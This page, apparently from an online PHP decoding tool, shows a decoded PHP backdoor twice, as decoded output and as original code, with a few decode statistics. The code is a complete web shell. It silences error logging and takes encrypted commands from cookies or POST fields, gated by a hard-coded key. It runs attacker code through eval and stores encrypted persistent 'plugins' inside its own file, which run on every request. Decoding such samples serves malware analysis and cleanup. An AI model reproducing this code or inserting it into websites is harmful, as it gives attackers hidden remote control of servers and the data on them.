Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!defined('stream_context_create ')) { define('stream_context_create ', 1)..
Decoded Output download
<?php
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL"))
{
define("PHP_EOL", "
");
}
if (!defined('file_put_contents '))
{
define('file_put_contents ', 1);
$cwxliy = 'a64ea8ac-0cfb-46c4-837a-3ac91586018c';
global $cwxliy;
function krzhxsde($zsmijyqa)
{
if (strlen($zsmijyqa) < 4)
{
return "";
}
$unaemq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$ajsbrnv = str_split($unaemq);
$ajsbrnv = array_flip($ajsbrnv);
$pgrszszz = 0;
$boxfvcgx = "";
$zsmijyqa = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $zsmijyqa);
do
{
$uvxwpxxn = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$gjvpowj = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$cpunlqjagmtgh = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$kmvkmx = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$mkttij = ($uvxwpxxn << 2) | ($gjvpowj >> 4);
$ptxtneujdxfoahc = (($gjvpowj & 15) << 4) | ($cpunlqjagmtgh >> 2);
$ggspkyuq = (($cpunlqjagmtgh & 3) << 6) | $kmvkmx;
$boxfvcgx = $boxfvcgx . chr($mkttij);
if ($cpunlqjagmtgh != 64)
{
$boxfvcgx = $boxfvcgx . chr($ptxtneujdxfoahc);
}
if ($kmvkmx != 64)
{
$boxfvcgx = $boxfvcgx . chr($ggspkyuq);
}
}
while ($pgrszszz < strlen($zsmijyqa));
return $boxfvcgx;
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($pnqnwlb, $ptxtneuj, $pnqnwlbnfpgq = False)
{
$taahctnp = $pnqnwlbnfpgq == 8 ? 'a' : 'w';
$eagbhc = @fopen($pnqnwlb, $taahctnp);
if ($eagbhc === False)
{
return 0;
}
else
{
if (is_array($ptxtneuj)) $ptxtneuj = implode($ptxtneuj);
$ybgditg = fwrite($eagbhc, $ptxtneuj);
fclose($eagbhc);
return $ybgditg;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($eypmpw)
{
$vbihgxob = fopen($eypmpw, "r");
$pgrszszzbpkjpg = fread($vbihgxob, filesize($eypmpw));
fclose($vbihgxob);
return $pgrszszzbpkjpg;
}
}
function xzxmplmu()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function ynvlrnvq($vonloitf, $oshigke)
{
$pnqnwlbqltmmpl = "";
for ($pgrszszz = 0;$pgrszszz < strlen($vonloitf);)
{
for ($cpunlqja = 0;$cpunlqja < strlen($oshigke) && $pgrszszz < strlen($vonloitf);$cpunlqja++, $pgrszszz++)
{
$pnqnwlbqltmmpl .= chr(ord($vonloitf[$pgrszszz]) ^ ord($oshigke[$cpunlqja]));
}
}
return $pnqnwlbqltmmpl;
}
function tatsqii($vonloitf, $oshigke)
{
global $cwxliy;
return ynvlrnvq(ynvlrnvq($vonloitf, $oshigke) , $cwxliy);
}
function dvtefyql($vonloitf, $oshigke)
{
global $cwxliy;
return ynvlrnvq(ynvlrnvq($vonloitf, $cwxliy) , $oshigke);
}
function yfjpau()
{
$awculef = @file_get_contents(xzxmplmu());
$shcxcgj = strpos($awculef, md5(xzxmplmu()));
if ($shcxcgj !== false)
{
$oegwkk = substr($awculef, $shcxcgj + 32);
$llcqiqd = @unserialize(tatsqii(rawurldecode($oegwkk) , md5(xzxmplmu())));
}
else
{
$llcqiqd = Array();
}
return $llcqiqd;
}
function durbdw($llcqiqd)
{
$mbgfjp = rawurlencode(dvtefyql(@serialize($llcqiqd) , md5(xzxmplmu())));
$awculef = @file_get_contents(xzxmplmu());
$shcxcgj = strpos($awculef, md5(xzxmplmu()));
if ($shcxcgj !== false)
{
$pnqnwlbrglhkfa = substr($awculef, $shcxcgj + 32);
$awculef = str_replace($pnqnwlbrglhkfa, $mbgfjp, $awculef);
}
else
{
$awculef = $awculef . "
//" . md5(xzxmplmu()) . $mbgfjp;
}
@file_put_contents(xzxmplmu() , $awculef);
}
function zfocndg($cpunlqjaodjzxu, $giukhfal)
{
$llcqiqd = yfjpau();
$llcqiqd[$cpunlqjaodjzxu] = krzhxsde($giukhfal);
durbdw($llcqiqd);
}
function xepwadx($cpunlqjaodjzxu)
{
$llcqiqd = yfjpau();
unset($llcqiqd[$cpunlqjaodjzxu]);
durbdw($llcqiqd);
}
function iwtmthkd($cpunlqjaodjzxu = NULL)
{
foreach (yfjpau() as $eagbhcwickso => $vptejto)
{
if ($cpunlqjaodjzxu)
{
if (strcmp($cpunlqjaodjzxu, $eagbhcwickso) == 0)
{
eval($vptejto);
break;
}
}
else
{
eval($vptejto);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $qemovvet => $vonloitf)
{
$vonloitf = @unserialize(tatsqii(krzhxsde($vonloitf) , $qemovvet));
if (isset($vonloitf['ak']) && $cwxliy == $vonloitf['ak'])
{
if ($vonloitf['a'] == 'i')
{
$pgrszszz = Array(
'pv' => @phpversion() ,
'sv' => '2.0-1',
'ak' => $vonloitf['ak'],
);
echo @serialize($pgrszszz);
exit;
}
elseif ($vonloitf['a'] == 'e')
{
eval($vonloitf['d']);
}
elseif ($vonloitf['a'] == 'plugin')
{
if ($vonloitf['sa'] == 'add')
{
zfocndg($vonloitf['p'], $vonloitf['d']);
}
elseif ($vonloitf['sa'] == 'rem')
{
xepwadx($vonloitf['p']);
}
}
echo $vonloitf['ak'];
exit();
}
}
iwtmthkd();
}
} >
?>
Did this file decode correctly?
Original Code
<?php
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if (!defined('file_put_contents '))
{
define('file_put_contents ', 1);
$cwxliy = 'a64ea8ac-0cfb-46c4-837a-3ac91586018c';
global $cwxliy;
function krzhxsde($zsmijyqa)
{
if (strlen($zsmijyqa) < 4)
{
return "";
}
$unaemq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$ajsbrnv = str_split($unaemq);
$ajsbrnv = array_flip($ajsbrnv);
$pgrszszz = 0;
$boxfvcgx = "";
$zsmijyqa = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $zsmijyqa);
do
{
$uvxwpxxn = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$gjvpowj = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$cpunlqjagmtgh = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$kmvkmx = $ajsbrnv[$zsmijyqa[$pgrszszz++]];
$mkttij = ($uvxwpxxn << 2) | ($gjvpowj >> 4);
$ptxtneujdxfoahc = (($gjvpowj & 15) << 4) | ($cpunlqjagmtgh >> 2);
$ggspkyuq = (($cpunlqjagmtgh & 3) << 6) | $kmvkmx;
$boxfvcgx = $boxfvcgx . chr($mkttij);
if ($cpunlqjagmtgh != 64)
{
$boxfvcgx = $boxfvcgx . chr($ptxtneujdxfoahc);
}
if ($kmvkmx != 64)
{
$boxfvcgx = $boxfvcgx . chr($ggspkyuq);
}
}
while ($pgrszszz < strlen($zsmijyqa));
return $boxfvcgx;
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($pnqnwlb, $ptxtneuj, $pnqnwlbnfpgq = False)
{
$taahctnp = $pnqnwlbnfpgq == 8 ? 'a' : 'w';
$eagbhc = @fopen($pnqnwlb, $taahctnp);
if ($eagbhc === False)
{
return 0;
}
else
{
if (is_array($ptxtneuj)) $ptxtneuj = implode($ptxtneuj);
$ybgditg = fwrite($eagbhc, $ptxtneuj);
fclose($eagbhc);
return $ybgditg;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($eypmpw)
{
$vbihgxob = fopen($eypmpw, "r");
$pgrszszzbpkjpg = fread($vbihgxob, filesize($eypmpw));
fclose($vbihgxob);
return $pgrszszzbpkjpg;
}
}
function xzxmplmu()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function ynvlrnvq($vonloitf, $oshigke)
{
$pnqnwlbqltmmpl = "";
for ($pgrszszz = 0;$pgrszszz < strlen($vonloitf);)
{
for ($cpunlqja = 0;$cpunlqja < strlen($oshigke) && $pgrszszz < strlen($vonloitf);$cpunlqja++, $pgrszszz++)
{
$pnqnwlbqltmmpl .= chr(ord($vonloitf[$pgrszszz]) ^ ord($oshigke[$cpunlqja]));
}
}
return $pnqnwlbqltmmpl;
}
function tatsqii($vonloitf, $oshigke)
{
global $cwxliy;
return ynvlrnvq(ynvlrnvq($vonloitf, $oshigke) , $cwxliy);
}
function dvtefyql($vonloitf, $oshigke)
{
global $cwxliy;
return ynvlrnvq(ynvlrnvq($vonloitf, $cwxliy) , $oshigke);
}
function yfjpau()
{
$awculef = @file_get_contents(xzxmplmu());
$shcxcgj = strpos($awculef, md5(xzxmplmu()));
if ($shcxcgj !== false)
{
$oegwkk = substr($awculef, $shcxcgj + 32);
$llcqiqd = @unserialize(tatsqii(rawurldecode($oegwkk) , md5(xzxmplmu())));
}
else
{
$llcqiqd = Array();
}
return $llcqiqd;
}
function durbdw($llcqiqd)
{
$mbgfjp = rawurlencode(dvtefyql(@serialize($llcqiqd) , md5(xzxmplmu())));
$awculef = @file_get_contents(xzxmplmu());
$shcxcgj = strpos($awculef, md5(xzxmplmu()));
if ($shcxcgj !== false)
{
$pnqnwlbrglhkfa = substr($awculef, $shcxcgj + 32);
$awculef = str_replace($pnqnwlbrglhkfa, $mbgfjp, $awculef);
}
else
{
$awculef = $awculef . "\n\n//" . md5(xzxmplmu()) . $mbgfjp;
}
@file_put_contents(xzxmplmu() , $awculef);
}
function zfocndg($cpunlqjaodjzxu, $giukhfal)
{
$llcqiqd = yfjpau();
$llcqiqd[$cpunlqjaodjzxu] = krzhxsde($giukhfal);
durbdw($llcqiqd);
}
function xepwadx($cpunlqjaodjzxu)
{
$llcqiqd = yfjpau();
unset($llcqiqd[$cpunlqjaodjzxu]);
durbdw($llcqiqd);
}
function iwtmthkd($cpunlqjaodjzxu = NULL)
{
foreach (yfjpau() as $eagbhcwickso => $vptejto)
{
if ($cpunlqjaodjzxu)
{
if (strcmp($cpunlqjaodjzxu, $eagbhcwickso) == 0)
{
eval($vptejto);
break;
}
}
else
{
eval($vptejto);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $qemovvet => $vonloitf)
{
$vonloitf = @unserialize(tatsqii(krzhxsde($vonloitf) , $qemovvet));
if (isset($vonloitf['ak']) && $cwxliy == $vonloitf['ak'])
{
if ($vonloitf['a'] == 'i')
{
$pgrszszz = Array(
'pv' => @phpversion() ,
'sv' => '2.0-1',
'ak' => $vonloitf['ak'],
);
echo @serialize($pgrszszz);
exit;
}
elseif ($vonloitf['a'] == 'e')
{
eval($vonloitf['d']);
}
elseif ($vonloitf['a'] == 'plugin')
{
if ($vonloitf['sa'] == 'add')
{
zfocndg($vonloitf['p'], $vonloitf['d']);
}
elseif ($vonloitf['sa'] == 'rem')
{
xepwadx($vonloitf['p']);
}
}
echo $vonloitf['ak'];
exit();
}
}
iwtmthkd();
}
} >
Function Calls
None |
Stats
MD5 | 4796562774a9cb63605da7bfc8cf3c8b |
Eval Count | 0 |
Decode Time | 101 ms |